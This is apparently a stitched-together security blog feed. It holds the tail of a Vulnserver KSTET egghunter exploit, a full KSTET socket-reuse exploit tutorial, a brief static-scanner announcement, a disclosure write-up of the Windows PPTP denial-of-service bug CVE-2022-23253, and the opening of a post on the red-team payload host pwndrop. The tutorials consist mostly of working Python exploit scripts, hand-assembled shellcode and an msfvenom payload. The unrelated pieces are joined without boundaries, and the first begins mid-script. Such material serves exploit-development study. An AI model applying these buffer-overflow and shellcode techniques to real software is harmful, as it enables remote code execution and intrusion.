    print(s.recv(1024))
    time.sleep(1)
s.close()

# STAGE 2: Send the Egghunter Code in the Overflow
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((IP,PORT))

egghunter = b"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
egghunter += b"\xef\xb8\x6c\x6f\x6b\x69\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"


buf = b"\x90"*30
buf += egghunter
buf += b"\x90" * ((EIP_OFFSET-len(egghunter)-30))
buf += JMP_ESP
buf += b"\xEB\xCE"          # Jump Back 50 Bytes for egghunter shellcode
buf += b"C" * 200
s.send(b"KSTET " + buf + b"\r\n")
print(s.recv(1024))

s.close()

And, we’re Admin!

Admin Shell

[hr]

Thoughts on Python3:

I decided to use Python3 for this tutorial because I use it for just about everything. That is, with the exception of exploit development. Python 2.7 is my goto for Buffer Overflow development and honestly, I think I am going to keep that the same. The subtle buy annoying nuances of making sure everything was typecast to a bytes object sucked. Many times the objects would be sent oddly and not trigger the right response I was looking for. Python 2.7 allows strings in the s.send() method which, makes things much easier to deal with.

Anyhow, Python3 is still amazing and I will use it as my daily driver, with the exception of BOF exploit development!

Happy Thanksgiving!

Vulnserver KSTET Egg Hunter with Python3
Joshua

Vulnserver KSTET Socket Re-use

By: Joshua
20 November 2019 at 23:21

Sevro Security
Vulnserver KSTET Socket Re-use

In a previous post, Vulnserver KSTET Egg Hunter, we looked at how we can use an egghunter to obtain code execution within a larger chunk of memory. In this post, we will look at the KSTET Socket re-use WS2_32.dll recv() function and how we can re-use this to pull in a larger chunk of shellcode within a buffer we allocate ourselves. In regards to Vulnserver.exe, the recv() function is used anytime we send data to the socket. The data is then parsed by the server and decides what to do with it.

Prerequisites:

  • Vulnserver.exe
  • Immunity or Ollydbg – I will be using Immunity
  • Mona.py
  • Windows VM – I am using a Windows XP Professional host

Resources:


I’m going to skip some of the set-up assuming you understand how to attach a debugger to a process or start a process within a debugger. If you don’t, go ahead and read some of my other buffer overflow tutorials.

The Crash

Part of why I decided to build this tutorial us because I am currently studying for the OSCE. As such, we are going to use the Spike Fuzzer (Native in Kali) to fuzz the VulnServer.exe application and just like the egg hunter tutorial, we will be fuzzing the KSTET parameter. Here is our Spike Fuzzing template (kstet.spk):

s_readline();
s_string("KSTET ");
s_string_variable("0");
s_string("\r\n");
s_readline();

The VulnServer listens on port 9999 and is residing at an IP Address: 192.168.5.130. So, our Spike Fuzzer syntax will be:

generic_send_tcp 192.168.5.130 9999 kstet.spk 0 0

During any fuzzing, it’s a good idea to keep a WireShark instance running in the background so you can manually analyze the packets if a crash occurs.

Fuzzing with the Spike Fuzzer

After less than 2 seconds, we have a visible crash that looks to have overwritten EIP and EBP.

Overflow success

Looking at Wireshark we see that the last valid connection contained the following data:

Wireshark analysis of spike fuzzer

Buffer Overflow Standard Steps

This is the repetitive part of any Buffer Overflow:

  1. Determine the offset in which we overwrote EIP.
  2. Find a JMP ESP Instruction we can use.
  3. Overwrite EIP with the JMP ESP address and control the execution flow.

Determine Offset:

We create a standard pattern using the Metasploit Frameworks pattern_create.rb. This generates a unique string n bytes long that is used to determine the actual offset of the overwrite. The syntax for the ruby script is:

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 500
Create pattern to determine EIP offset

Build a Python proof of concept to crash the application similar to the Spike Fuzzer:

import socket
import struct
import time

IP = "192.168.5.130"
PORT = 9999

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP, PORT))
print(s.recv(2096))

pattern = ("""Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq""")

buf = ""
buf += "KSTET /.:/"
buf += pattern
buf += "\r\n"

s.send(buf)

We send the payload, overwrite EIP with the pattern, and now determine the proper offset

Observed pattern overflowing EIP
Determine EIP offset in base 10

After we have the correct offset, we can build a proof of concept that shows two things:

  1. We have control of EIP and therefore have control of code execution
  2. How much space after the overwrite we have to play with (i.e. store our shellcode)
import socket
import struct
import time

IP = "192.168.5.130"
PORT = 9999
EIP_OFFSET = 66

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP, PORT))
print(s.recv(2096))

buf = ""
buf += "KSTET /.:/"
buf += "A" * 66
buf += "B" * 4
buf += "C" * 500
buf += "\r\n"

s.send(buf)
Analysis of the Stack after the overflow

We control EIP and we only have 0x10 Bytes of room for shellcode. That’s not enough for anything. However, we have 0x44 Bytes above ESP that we can use to build something useful. In the previous KSTET tutorial, we used this space for an egg-hunter. Now, we are going to build our own shellcode to re-use the WS2_32.recv() function.

Find JMP ESP:

I personally like to use Mona.py with Immunity Debugger to help determine a valid JMP ESP. There are tons of ways to find a proper JMP ESP address, this one just fits my needs.

Finding JMP ESP

Verify we have EIP Control:

Set a breakpoint at the JMP ESP address you selected. Amend you python script to include the JMP ESP address and the EIP overwrite and verify you now hit the JMP ESP address and get back to your code (in this case, the C’s).

import socket
import struct
import time

IP = "192.168.5.130"
PORT = 9999
EIP_OFFSET = 66
JMP_ESP = struct.pack("I", 0x625011C7)


s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP, PORT))
print(s.recv(2096))

buf = ""
buf += "KSTET /.:/"
buf += "A" * 66
buf += JMP_ESP
buf += "C" * 500
buf += "\r\n"

s.send(buf)

A Short Jump

In order to get more room to build our custom shellcode, we need to make a short jump to the top of the A’s. In the start of this tutorial, I posted a link describing the JMP SHORT instructions. Basically, these are two (2) byte instructions that will help us move around in memory without taking up a shit ton of space.

In this case, we want to get to address 0x00B8F9C6. An easy way to build the shellcode is write the instructions directly within Immunity by hitting the space bar and typing in the assembly.

Building a two byte jump instruction

As you can see, from the blue text on the left of the Assembly instructions, our opcode is going to be \xEB\xB8. We can simply add this into our python script and verify we have in-fact jumped backwards to our required address.

import socket
import struct
import time

IP = "192.168.5.130"
PORT = 9999
EIP_OFFSET = 66
JMP_ESP = struct.pack("I", 0x625011C7)


s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP, PORT))
print(s.recv(2096))

buf = ""
buf += "KSTET /.:/"
buf += "A" * 66
buf += JMP_ESP
buf += "\xEB\xB8"               # JMP SHORT
buf += "C" * 500
buf += "\r\n"

s.send(buf)

WS2_32.recv() Review

Before we dig into writing custom shellcode, let’s analyze what is happening locally when recv() is called in the non-altered code.Let’s also define some terms and parameters that are necessary to fully understand before we understand the exploit.

The recv() function is part of the winsock.h header and takes a total of 4 parameters:

  1. SOCKET – This is a Socket Descriptor and defines a valid socket. It’s dynamic and changes each time the binary/exe is run.
  2. *buf – A pointer in memory where we want to start storing what is received from the socket connection.
  3. len – The size of the buffer in Bytes
  4. flags – Will always be set to 0 in our case. We essentially do not use this but need it to complete the function call.
MSDN WS2_32.recv Function Call

Three (3) of the four (4) parameters can be generated by us, the attacker. We easily make up our own values, pop them onto the stack and have a good ol’ day. But, the SOCKET descriptor is the odd man/woman out. This is set dynamically, by the program. It is, however, set predictably and as such we can analyze a live recv() call in action and find where it’s obtaining the SOCKET descriptor from. Once we know where it comes from, we can dynamically pull that value in with our custom shellcode to make our recv() call as legitimate as the original.

Analyze a Legitimate recv():

In your debugger, start a fresh run of vulnserver.exe and put it into a running state. To make sure the debugger (olly or immunity) has analyzed the code properly, hit CTRL+A. This will tell the debugger to analyze the assembly and point out any objective function calls. With this analyzed, look for the recv() function call.

Where recv() is called

From left to right, the first picture is where the recv() function is called within the program. The second picture is where we land when the CALL is executed. The address in the second image 0x0040252C is very important as that is that address we will CALL at the very end of our custom shellcode.

Next, let’s place a breakpoint at the CALL shown in the first image (leftmost image), and execute our overflow python script so we can observe the legitimate recv() function call.

When the python script is executed, we hit our breakpoint and can view the recv() parameters cleanly located on the stack for us.

Analysis of a valid WS2_32.recv function call
  • SOCKET DESCRIPTOR = 0x00000080
  • BUFFER START ADDR = 0x003E4AD0
  • BUFFER LENGTH = 0x00001000 (4096 Bytes base 10)
  • FLAGS = 0x00000000

Again, at this point, we only care where that Socket Descriptor came from. If we set our breakpoint a few instructions above the CALL <JMP.&WS2_32.recv> we find that MOV EAX, DWORD PTR SS:[EBP-420] is responsible for pulling in the Socket Descriptor. Cool, let’s do some basic math:

EBP = 00B8FFB4 and if we calculate: (00B8FFB4 420) = 00B8FB94‬.

If we navigate to this address in the debugger, we should find our Socket Descriptor and, we do.

Confirming we have found the Socket Descriptor

Custom Shellcode

Now that we have the location of the Socket Descriptor, we can start to build our custom shellcode to setup the stack for our evil recv() function call. Since the Stack grow from bottom up, we need to build our stack with that in mind starting by adding the FLAG parameter first and the Socket Descriptor last.

The easiest way to build your custom shellcode is simply to do it in the Debugger. Set a breakpoint at your JMP ESP, get to you JMP instruction and start building your shellcode. Below is an example on how I setup my Stack:

recv = ""
recv += "\x83\xEC\x50"                  # SUB ESP, 50
recv += "\x33\xD2"                      # XOR EDX, EDX
recv += "\x52"                          # PUSH EDX (FLAGS = 0)
recv += "\x83\xC2\x04"                  # ADD EDX, 0x4 
recv += "\xC1\xE2\x08"                  # SHL EDX, 8
recv += "\x52"                          # PUSH EDX (BUFFER SIZE = 0x400)
recv += "\x33\xD2"                      # XOR EDX, EDX 
recv += "\xBA\x90\xF8\xF9\xB8"          # MOV EDX, 0xB8F9FB90
recv += "\xC1\xEA\x08"                  # SHR EDX, 8 
recv += "\x52"                          # PUSH EDX (BUFFER LOCATION = 0x00B8F9FB)
recv += "\xB9\x90\x94\xFB\xB8"          # MOV ECX, 0xB8FB9490
recv += "\xC1\xE9\x08"                  # SHR ECX, 8 
recv += "\xFF\x31"                      # PUSH DWORD PTR DS:[ECX] (SOCKET DESCRIPTOR LOADED)
recv += "\xBA\x90\x2C\x25\x40"          # MOV EDX, 0X0040252C
recv += "\xC1\xEA\x08"                  # SHR EDX, 8 (Location of RECV())
recv += "\xFF\xD2"                      # CALL EDX

Let’s go through this step by step:

  • Lines 2-3: I found that the stack was not aligned after the second payload was sent. This aligns the stack for our second payload
  • Lines 4-5: We XoR the EDX Register by itself to make it 0 (0x00000000) and PUSH it onto the stack. This will serve as our FLAG parameter.
  • Lines 6-8: We cannot have a null byte (0x00) in our shellcode so, we add 0x4 to EDX and shift it left by 1 Byte (8-bits) to give us 0x400 This serves as our Buffer Size.
  • Lines 9-12: Zero out EDX with XoR, MOV 0xB8F9FB90 into EDX, shift right to get rid of 0x90 and get our 0x00 for a final value of 0x00B8F9FB. This serves as our Buffer Start Address.
  • Lines 13-15: Load Socket Descriptor addr. into ECX, PUSH the value of the data located at ECX (denoted as [ECX]not ECX, note the difference). This serves as the Socket Descriptor.
  • Lines 16-18: Load the address of WS2_32.recv, that we found when we analyzed the legitimate recv(), into EDX and CALL EDX to complete the function call.
import socket
import struct
import time

IP = "192.168.5.130"
PORT = 9999
EIP_OFFSET = 66
JMP_ESP = struct.pack("I", 0x625011C7)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP, PORT))
print(s.recv(2096))

# WS2_32.recv() Stack Setup
recv = ""
recv += "\x83\xEC\x50"                  # SUB ESP, 50
recv += "\x33\xD2"                      # XOR EDX, EDX
recv += "\x52"                          # PUSH EDX (FLAGS = 0)
recv += "\x83\xC2\x04"                  # ADD EDX, 0x4 
recv += "\xC1\xE2\x08"                  # SHL EDX, 8
recv += "\x52"                          # PUSH EDX (BUFFER SIZE = 0x400)
recv += "\x33\xD2"                      # XOR EDX, EDX 
recv += "\xBA\x90\xF8\xF9\xB8"          # MOV EDX, 0xB8F9FB90
recv += "\xC1\xEA\x08"                  # SHR EDX, 8 
recv += "\x52"                          # PUSH EDX (BUFFER LOCATION = 0x00B8F9FB)
recv += "\xB9\x90\x94\xFB\xB8"          # MOV ECX, 0xB8FB9490
recv += "\xC1\xE9\x08"                  # SHR ECX, 8 
recv += "\xFF\x31"                      # PUSH DWORD PTR DS:[ECX] (SOCKET DESCRIPTOR LOADED)
recv += "\xBA\x90\x2C\x25\x40"          # MOV EDX, 0X0040252C
recv += "\xC1\xEA\x08"                  # SHR EDX, 8 (Location of RECV())
recv += "\xFF\xD2"                      # CALL EDX

buf = ""
buf += "KSTET /.:/"
buf += "\x90" * 2                       # NOPS
buf += recv                             # WS2_32.recv() function call
buf += "\x90" * (66 - (len(recv) + 2))  # NOPS 
buf += JMP_ESP                          # JMP ESP
buf += "\xEB\xB8"                       # JMP SHORT
buf += "C" * 500                        # FILLER
buf += "\r\n"

s.send(buf)

Exploitation

All we have to do is generate a second payload and send it right after our overflow payload. Since we have tricked vulnserver into running the recv() function, it will take our second send data and store it at the buffer address we specified. Let’s test this out with a payload of 0xCC (Int 3) so that the program will halt when it hits our shellcode.

Secondary payload made it to our memory location

Let’s add some basic shellcode to pop calc.exe and verify that our exploit works.

import socket
import struct
import time

IP = "192.168.5.130"
PORT = 9999
EIP_OFFSET = 66
JMP_ESP = struct.pack("I", 0x625011C7)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP, PORT))
print(s.recv(2096))

# WS2_32.recv() Stack Setup
recv = ""
recv += "\x83\xEC\x50"                  # SUB ESP, 50
recv += "\x33\xD2"                      # XOR EDX, EDX
recv += "\x52"                          # PUSH EDX (FLAGS = 0)
recv += "\x83\xC2\x04"                  # ADD EDX, 0x4 
recv += "\xC1\xE2\x08"                  # SHL EDX, 8
recv += "\x52"                          # PUSH EDX (BUFFER SIZE = 0x400)
recv += "\x33\xD2"                      # XOR EDX, EDX 
recv += "\xBA\x90\xF8\xF9\xB8"          # MOV EDX, 0xB8F9FB90
recv += "\xC1\xEA\x08"                  # SHR EDX, 8 
recv += "\x52"                          # PUSH EDX (BUFFER LOCATION = 0x00B8F9FB)
recv += "\xB9\x90\x94\xFB\xB8"          # MOV ECX, 0xB8FB9490
recv += "\xC1\xE9\x08"                  # SHR ECX, 8 
recv += "\xFF\x31"                      # PUSH DWORD PTR DS:[ECX] (SOCKET DESCRIPTOR LOADED)
recv += "\xBA\x90\x2C\x25\x40"          # MOV EDX, 0X0040252C
recv += "\xC1\xEA\x08"                  # SHR EDX, 8 (Location of RECV())
recv += "\xFF\xD2"                      # CALL EDX

buf = ""
buf += "KSTET /.:/"
buf += "\x90" * 2                       # NOPS
buf += recv                             # WS2_32.recv() function call
buf += "\x90" * (66 - (len(recv) + 2))  # NOPS 
buf += JMP_ESP                          # JMP ESP
buf += "\xEB\xB8"                       # JMP SHORT
buf += "C" * 500                        # FILLER
buf += "\r\n"

s.send(buf)                             # Stage 1 Payload Send

# msfvenom -p windows/exec CMD=calc.exe -b '\x00' --var-name calc -f python
calc =  b""
calc += b"\xdb\xdc\xd9\x74\x24\xf4\x5f\xb8\x43\x2c\x57\x7b\x2b"
calc += b"\xc9\xb1\x31\x31\x47\x18\x83\xc7\x04\x03\x47\x57\xce"
calc += b"\xa2\x87\xbf\x8c\x4d\x78\x3f\xf1\xc4\x9d\x0e\x31\xb2"
calc += b"\xd6\x20\x81\xb0\xbb\xcc\x6a\x94\x2f\x47\x1e\x31\x5f"
calc += b"\xe0\x95\x67\x6e\xf1\x86\x54\xf1\x71\xd5\x88\xd1\x48"
calc += b"\x16\xdd\x10\x8d\x4b\x2c\x40\x46\x07\x83\x75\xe3\x5d"
calc += b"\x18\xfd\xbf\x70\x18\xe2\x77\x72\x09\xb5\x0c\x2d\x89"
calc += b"\x37\xc1\x45\x80\x2f\x06\x63\x5a\xdb\xfc\x1f\x5d\x0d"
calc += b"\xcd\xe0\xf2\x70\xe2\x12\x0a\xb4\xc4\xcc\x79\xcc\x37"
calc += b"\x70\x7a\x0b\x4a\xae\x0f\x88\xec\x25\xb7\x74\x0d\xe9"
calc += b"\x2e\xfe\x01\x46\x24\x58\x05\x59\xe9\xd2\x31\xd2\x0c"
calc += b"\x35\xb0\xa0\x2a\x91\x99\x73\x52\x80\x47\xd5\x6b\xd2"
calc += b"\x28\x8a\xc9\x98\xc4\xdf\x63\xc3\x82\x1e\xf1\x79\xe0"
calc += b"\x21\x09\x82\x54\x4a\x38\x09\x3b\x0d\xc5\xd8\x78\xe1"
calc += b"\x8f\x41\x28\x6a\x56\x10\x69\xf7\x69\xce\xad\x0e\xea"
calc += b"\xfb\x4d\xf5\xf2\x89\x48\xb1\xb4\x62\x20\xaa\x50\x85"
calc += b"\x97\xcb\x70\xe6\x76\x58\x18\xc7\x1d\xd8\xbb\x17"


payload = ""
payload += calc
payload += "\r\n"

s.send(payload)                           # Stage 2 Payload Send
Shellcode injection to pop calc.exe after exploit

Vulnserver KSTET Socket Re-use
Joshua

Announcing ECG v2.0

By: voidsec
11 January 2021 at 13:39

We are proud to announce that ECG got its first major update. ECG: is the first and single commercial solution (Static Source Code Scanner) able to analyze & detect real and complex security vulnerabilities in TCL/ADP source-code. ECG’s v2.0 New Features On-Premises Deploy: Scan your code repository on your secure and highly-scalable offline appliance with a local […]

The post Announcing ECG v2.0 appeared first on VoidSec.

CVE-2022-23253 – Windows VPN Remote Kernel Null Pointer Dereference

22 March 2022 at 09:00

CVE-2022-23253 is a Windows VPN (remote access service) denial of service vulnerability that Nettitude discovered while fuzzing the Windows Server Point-to-Point Tunnelling Protocol (PPTP) driver. The implications of this vulnerability are that it could be used to launch a persistent Denial of Service attack against a target server. The vulnerability requires no authentication to exploit and affects all default configurations of Windows Server VPN.

Nettitude has followed a coordinated disclosure process and reported the vulnerability to Microsoft. As a result the latest versions of MS Windows are now patched and no longer vulnerable to the issue.

Affected Versions of Microsoft Windows Server

The vulnerability affects most versions of Windows Server and Windows Desktop since Windows Server 2008 and Windows 7 respectively. To see a full list of affected windows versions check the official disclosure post on MSRC: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-23253.

Overview

PPTP is a VPN protocol used to multiplex and forward virtual network data between a client and VPN server. The protocol has two parts, a TCP control connection and a GRE data connection. The TCP control connection is mainly responsible for the configuring of buffering and multiplexing for network data between the client and server. In order to talk to the control connection of a PPTP server, we only need to connect to the listening socket and initiate the protocol handshake. After that we are able to start a complete PPTP session with the server.

When fuzzing for vulnerabilities the first step is usually a case of waiting patiently for a crash to occur. In the case of fuzzing the PPTP implementation we had to wait a mere three minutes before our first reproducible crash!

Our first step was to analyse the crashing test case and minimise it to create a reliable proof of concept. However before we dissect the test case we need to understand what a few key parts of the control connection logic are trying to do!

The PPTP Handshake

PPTP implements a very simple control connection handshake procedure. All that is required is that a client first sends a StartControlConnectionRequest to the server and then receives a StartControlConnectionReply indicating that there were no issues and the control connection is ready to start processing commands. The actual contents of the StartControlConnectionRequest has no effect on the test case and just needs to be validly formed in order for the server to progress the connection state into being able to process the rest of the defined control connection frames. If you’re interested in what all these control packet frames are supposed to do or contain you can find details in the PPTP RFC (https://datatracker.ietf.org/doc/html/rfc2637).

PPTP IncomingCall Setup Procedure

In order to forward some network data to a PPTP VPN server the control connection needs to establish a virtual call with the server. There are two types of virtual call when communicating with a PPTP server, these are outgoing calls and incoming calls. To to communicate with a VPN server from a client we typically use the incoming call variety. Finally, to set up an incoming call from a client to a server, three control message types are used.

  • IncomingCallRequest – Used by the client to request a new incoming virtual call.
  • IncomingCallReply – Used by the server to indicate whether the virtual call is being accepted. It also sets up call ID’s for tracking the call (these ID’s are then used for multiplexing network data as well).
  • IncomingCallConnected – Used by the client to confirm connection of the virtual call and causes the server to fully initialise it ready for network data.

The most important bit of information exchanged during call setup is the call ID. This is the ID used by the client and server to send and receive data along that particular call. Once a call is set up data can then be sent to the GRE part of the PPTP connection using the call ID to identify the virtual call connection it belongs to.

The Test Case

After reducing the test case, we can see that at a high level the control message exchanges that cause the server to crash are as follows:

StartControlConnectionRequest() Client -> Server
StartControlConnectionReply() Server -> Client
IncomingCallRequest() Client -> Server
IncomingCallReply() Server -> Client
IncomingCallConnected() Client -> Server
IncomingCallConnected() Client -> Server

The test case appears to initially be very simple and actually mostly resembles what we would expect for a valid PPTP connection. The difference is the second IncomingCallConnected message. For some reason, upon receiving an IncomingCallConnected control message for a call ID that is already connected, a null pointer dereference is triggered causing a system crash to occur.

Let’s look at the crash and see if we can see why this relatively simple error causes such a large issue.

The Crash

Looking at the stack trace for the crash we get the following:

... <- (Windows Bug check handling)
NDIS!NdisMCmActivateVc+0x2d
raspptp!CallEventCallInConnect+0x71
raspptp!CtlpEngine+0xe63
raspptp!CtlReceiveCallback+0x4b
... <- (TCP/IP Handling)

What’s interesting here is that we can see that the crash does not not take place in the raspptp.sys driver at all, but instead occurs in the ndis.sys driver. What is ndis.sys? Well, raspptp.sys in what is referred to as a mini-port driver, which means that it only actually implements a small part of the functionality required to implement an entire VPN interface and the rest of the VPN handling is actually performed by the NDIS driver system. raspptp.sys acts as a front end parser for PPTP which then forwards on the encapsulated virtual network frames to NDIS to be routed and handled by the rest of the Windows VPN back-end.

So why is this null pointer dereference happening? Let’s look at the code to see if we can glean any more detail.

The Code

The first section of code is in the PPTP control connection state machine. The first part of this handling is a small stub in a switch statement for handling the different control messages. For an IncomingCallConnected message, we can see that all the code initially does is check that a valid call ID and context structure exists on the server. If they do exist, a call is made to the CallEventCallInConnect function with the message payload and the call context structure.

case IncomingCallConnected:
    // Ensure the client has sent a valid StartControlConnectionRequest message
    if ( lpPptpCtlCx->CtlCurrentState == CtlStateWaitStop )
    {
        // BigEndian To LittleEndian Conversion
        CallIdSentInReply = (unsigned __int16)__ROR2__(lpCtlPayloadBuffer->IncomingCallConnected.PeersCallId, 8);
        if ( PptpClientSide ) // If we are the client
            CallIdSentInReply &= 0x3FFFu; // Maximum ID mask
            // Get the context structure for this call ID if it exists
            IncomingCallCallCtx = CallGetCall(lpPptpCtlCx->pPptpAdapterCtx, CallIdSentInReply);
            // Handle the incoming call connected event
            if ( IncomingCallCallCtx )
                CallEventCallInConnect(IncomingCallCallCtx, lpCtlPayloadBuffer);

The CallEventCallInConnect function performs two tasks; it activates the virtual call connection through a call to NdisMCmActivateVc and then if the returned status from that function is not STATUS_PENDING it calls the PptpCmActivateVcComplete function.

__int64 __fastcall CallEventCallInConnect(CtlCall *IncomingCallCallCtx, CtlMsgStructs *IncomingCallMsg)
{
    unsigned int ActiveateVcRetCode;
    ...
ActiveateVcRetCode = NdisMCmActivateVc(lpCallCtx->NdisVcHandle, (PCO_CALL_PARAMETERS)lpCallCtx->CallParams);
if ( ActiveateVcRetCode != STATUS_PENDING )
{
    if...
        PptpCmActivateVcComplete(ActiveateVcRetCode, lpCallCtx, (PVOID)lpCallCtx->CallParams);
    }
return 0i64;
}

...

NDIS_STATUS __stdcall NdisMCmActivateVc(NDIS_HANDLE NdisVcHandle, PCO_CALL_PARAMETERS CallParameters)
{
    __int64 v2; // rbx
    PCO_CALL_PARAMETERS lpCallParameters; // rdi
    KIRQL OldIRQL; // al
    _CO_MEDIA_PARAMETERS *lpMediaParameters; // rcx
    __int64 v6; // rcx

    v2 = *((_QWORD *)NdisVcHandle + 9);
    lpCallParameters = CallParameters;
    OldIRQL = KeAcquireSpinLockRaiseToDpc((PKSPIN_LOCK)(v2 + 8));
    *(_DWORD *)(v2 + 4) |= 1u;
    lpMediaParameters = lpCallParameters->MediaParameters;
    if ( lpMediaParameters->MediaSpecific.Length < 8 )
        v6 = (unsigned int)v2;
    else
        v6 = *(_QWORD *)lpMediaParameters->MediaSpecific.Parameters;
        *(_QWORD *)(v2 + 136) = v6;
        *(_QWORD *)(v2 + 136) = *(_QWORD *)lpCallParameters->MediaParameters->MediaSpecific.Parameters;
        KeReleaseSpinLock((PKSPIN_LOCK)(v2 + 8), OldIRQL);
    return 0;
}

We can see that in reality, the NdisMCMActivateVc function is surprisingly simple. We know that it always returns 0 so there will always be a proceeding call to PptpCmActivateVcComplete by the CallEventCallInConnect function.

Looking at the stack trace we know that the crash is occurring at an offset of 0x2d into the NdisMCmActivateVc function which corresponds to the following line in our pseudo code:

lpMediaParameters = lpCallParameters->MediaParameters;

Since NdisMCmActivateVc doesn’t sit in our main target driver, raspptp.sys, it’s mostly un-reverse engineered, but it’s pretty clear to see that the main purpose is to set some properties on a structure which is tracked as the handle to NDIS from raspptp.sys. Since this doesn’t really seem like it’s directly causing the issue we can safely ignore it for now. The particular variable lpCallParameters (also the CallParameters argument) is causing the null pointer dereference and is passed into the function by raspptp.sys; this indicates that the vulnerability must be occurring somewhere else in the raspptp.sys driver code.

Referring back to the call from CallEventCallInConnect we know that the CallParmaters argument is actually a pointer stored within the Call Context structure in raspptp.sys. We can assume that at some point in the call to PptpCmActivateVcComplete this structure is freed and the pointer member of the structure is set to zero. So lets find the responsible line!

void __fastcall PptpCmActivateVcComplete(unsigned int OutGoingCallReplyStatusCode, CtlCall *CallContext, PVOID CallParams)
{
    CtlCall *lpCallContext; // rdi
    ...
if ( lpCallContext->UnkownFlag )
{
    if ( lpCallParams )
        ExFreePoolWithTag((PVOID)lpCallContext->CallParams, 0);
        lpCallContext->CallParams = 0i64;
        ...

After a little bit of looking we can see the responsible sections of code. From reverse engineering the setup of the CallContext structure we know that the UnkownFlag structure variable is set to 1 by the handling of the IncomingCallRequest frame where the CallContext structure is initially allocated and setup. For our test case this code will always execute and thus the second call to CallEventCallInConnect will trigger a null pointer dereference and crash the machine in the NDIS layer, causing the appropriate Blue Screen Of Death to appear:

Proof Of Concept

We will release proof of concept code on May 2nd to allow extra time for systems administrators to patch.

Timeline

  • Vulnerability reported To Microsoft – 29 Oct 2021
  • Vulnerability acknowledged – 29 Oct 2021
  • Vulnerability confirmed – 11 Nov 2021
  • Patch release date confirmed – 18 Jan 2022
  • Patch released – 08 March 2022
  • Blog released – 22 March 2022

The post CVE-2022-23253 – Windows VPN Remote Kernel Null Pointer Dereference appeared first on Nettitude Labs.

Pwndrop - Self-hosting Your Red Team Payloads

16 April 2020 at 10:07
Pwndrop - Self-hosting Your Red Team Payloads

I have to admit, I took my sweet time to write this post and release this tool, but the time has finally come. I am finally ready to publish pwndrop, which has been in development for the last two years. Rewritten from scratch once (Angular.js was not a right choice) and stalled for multiple months due to busy times at work.

The timing for the release isn't ideal, but at least I hope using pwndrop can help you get through these tough weeks/months.

Also stay at home, don't eat bats and do not burn any 5G antennas.

If you want to jump straight in and grab the tool, follow this link to Github:

pwndrop - Github

What is pwndrop?

Pwndrop is a self-deployable file hosting service for red teamers, allowing to easily upload and share payloads over HTTP and WebDAV.

Pwndrop - Self-hosting Your Red Team Payloads

If you've ever wasted a whole evening setting up a web server just to host a few files and get that .htaccess file redirection working, fear no more. Your future evenings are safe from being wasted again!

With pwndrop you can set up your own on-premise file server. The features are specifically tailored for red teamers, willing to host their payloads, but the tool can also be used as a normal file sharing service. All uploaded files are accessible via HTTP, HTTPS and WebDAV.

Before jumping into describing what features are present on release, I wanted to give away some information on the tool's development process.

Under the hood

For a long time I wanted a self-hosted Dropbox, which would allow me to easily upload and share files with custom URL paths. There is of course Python's SimpleHTTPServer, which has a decent fanbase, but I badly wanted something that would have a web UI with drag & drop interface and deployable with a single command. The idea was born. I knew I'd make a backend in GO, but I had no experience in using any of the modern frontend libraries. It was 2018 back then and I decided it will be a good opportunity to learn something new.

First came in an idea of using Angular.js, since it is a very robust and well supported framework. In the end, it turned out to be too bloated for my needs and the amount of things I had to learn to just to make a simple UI (I'm looking at you TypeScript) was staggering. I managed to get a proof of concept version working and then scratched the whole project to start anew, almost a year later.

Pwndrop - Self-hosting Your Red Team Payloads
You can see that I had absolutely no regrets killing off this monstrosity.

Then in 2019, a really smart and creative red teamer Jared Haight @jaredhaight released his C2 framework FactionC2 at TROOPERS19. I immediately fell in love with the web UI he did and after chatting a bit with him, I learned he used Vue.js. Vue seemed to be lightweight, relatively new and already pretty popular, which made it a perfect choice. Thanks Jared for inspiration!

I bought Vue.js course at Udemy and in few weeks I was ready to go. If you want to make a tool with a web interface, do check out Vue as it may fit your needs as well.

For my own and your convenience I got rid of all of the npm + webpack clutter to slim down the project as much as possible. When I found out that a small project like pwndrop requires 1000MB of preinstalled packages through npm init, the decision to put the project on a diet was made. I wanted to simplify working with the project as much as possible and cut out the unnecessary middleware. Even using webpack requires learning a ton on how to configure it and I definitely didn't want to spend any extra time on that. Now the project doesn't take more than 70MB of precious hard drive space.

All in all, I've detached the frontend entirely from the build process, allowing the UI files to reside in their own folder, making them easily accessible for modifications and updates. The backend, on the other hand, is a single executable file, which installs itself and runs as a daemon in a background.

My main goal was to dumb down the installation process to the greatest extent and I'm pretty proud of the outcome. The whole project has ZERO dependencies and can be installed as easily as copying the precompiled files to your server and entering a single command to install and launch the server.

Let's now jump into the most important part - the features!

Features

Here is the list of features, which you can use from the get-go in the release version.

Drag & drop uploading of files

Easily drag & drop your files onto pwndrop admin panel to upload them.

